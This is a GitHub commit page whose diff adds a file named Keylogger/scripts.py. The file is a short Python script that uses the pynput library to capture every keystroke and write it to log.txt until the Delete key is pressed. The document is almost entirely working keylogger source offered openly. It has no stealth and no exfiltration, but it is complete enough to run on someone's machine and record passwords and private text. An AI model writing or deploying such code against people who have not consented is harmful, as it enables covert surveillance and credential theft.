We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent a0eb80b commit 8b2d42eCopy full SHA for 8b2d42e
Keylogger/scripts.py
@@ -0,0 +1,29 @@
1
+import pynput
2
+from pynput.keyboard import Key, Listener
3
+
4
5
+keys = []
6
7
8
+def on_press(key):
9
+ keys.append(key)
10
+ write_file(keys)
11
12
13
+def write_file(keys):
14
+ with open('log.txt', 'w') as f:
15
+ for key in keys:
16
+ #removing ''
17
+ k = str(key).replace("'", "")
18
+ f.write(k)
19
+ #explicitly adding a space after every keystroke for readability
20
+ f.write(' ')
21
22
23
+def on_release(key):
24
+ if key == Key.delete:
25
+ return False
26
27
28
+with Listener(on_press = on_press, on_release = on_release) as listener:
29
+ listener.join()
0 commit comments